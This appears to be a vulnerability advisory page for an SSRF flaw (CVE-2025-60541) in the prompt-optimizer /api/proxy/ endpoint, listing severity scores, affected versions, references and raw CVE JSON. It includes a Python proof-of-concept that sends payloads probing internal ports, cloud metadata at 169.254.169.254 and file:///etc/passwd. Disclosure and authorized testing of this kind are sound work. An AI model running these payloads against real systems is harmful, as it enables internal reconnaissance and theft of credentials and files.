Security Vulnerability Report
中文
CVE-2025-60541 CVSS 7.3 HIGH

CVE-2025-60541

Published: 2025-11-06 19:15:42
Last Modified: 2025-12-31 18:37:20

Description

A Server-Side Request Forgery (SSRF) in the /api/proxy/ component of linshenkx prompt-optimizer v1.3.0 to v1.4.2 allows attackers to scan internal resources via a crafted request.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:linshenkx:prompt_optimizer:*:*:*:*:*:*:*:* - VULNERABLE
linshenkx prompt-optimizer >= v1.3.0
linshenkx prompt-optimizer <= v1.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-60541 SSRF PoC for linshenkx prompt-optimizer # Target: /api/proxy/ endpoint TARGET_URL = "http://target-server:8080/api/proxy/" def test_ssrf(target): """Test for SSRF vulnerability in /api/proxy/ endpoint""" headers = { "Content-Type": "application/json" } # Test cases for SSRF test_payloads = [ # Internal port scanning {"url": "http://127.0.0.1:22"}, {"url": "http://127.0.0.1:3306"}, {"url": "http://127.0.0.1:6379"}, # Localhost access {"url": "http://localhost/admin"}, # Internal network scanning {"url": "http://192.168.1.1:80"}, {"url": "http://10.0.0.1:8080"}, # Cloud metadata endpoint (AWS) {"url": "http://169.254.169.254/latest/meta-data/"}, # File protocol {"url": "file:///etc/passwd"} ] for payload in test_payloads: try: response = requests.post(target, json=payload, headers=headers, timeout=10) print(f"[*] Testing: {payload['url']}") print(f"[*] Status: {response.status_code}") if response.status_code == 200 and len(response.text) > 0: print(f"[!] Potential SSRF - Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-60541 SSRF PoC") print(f"[*] Target: {TARGET_URL}") test_ssrf(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60541", "sourceIdentifier": "[email protected]", "published": "2025-11-06T19:15:41.790", "lastModified": "2025-12-31T18:37:19.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) in the /api/proxy/ component of linshenkx prompt-optimizer v1.3.0 to v1.4.2 allows attackers to scan internal resources via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linshenkx:prompt_optimizer:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.3.0", "versionEndIncluding": "1.4.2", "matchCriteriaId": "6F4355EE-B5DE-48FE-AA57-C3008392FE5B"}]}]}], "references": [{"url": "https://github.com/linshenkx/prompt-optimizer", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/linshenkx/prompt-optimizer/issues/179", "source": "[email protected]", "tags": ["Exploit", "Patch", "Issue Tracking", "Vendor Advisory"]}]}}